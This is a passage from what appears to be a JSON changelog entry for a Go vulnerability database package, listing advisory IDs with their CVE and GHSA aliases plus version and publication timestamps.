IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:16.587575494Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}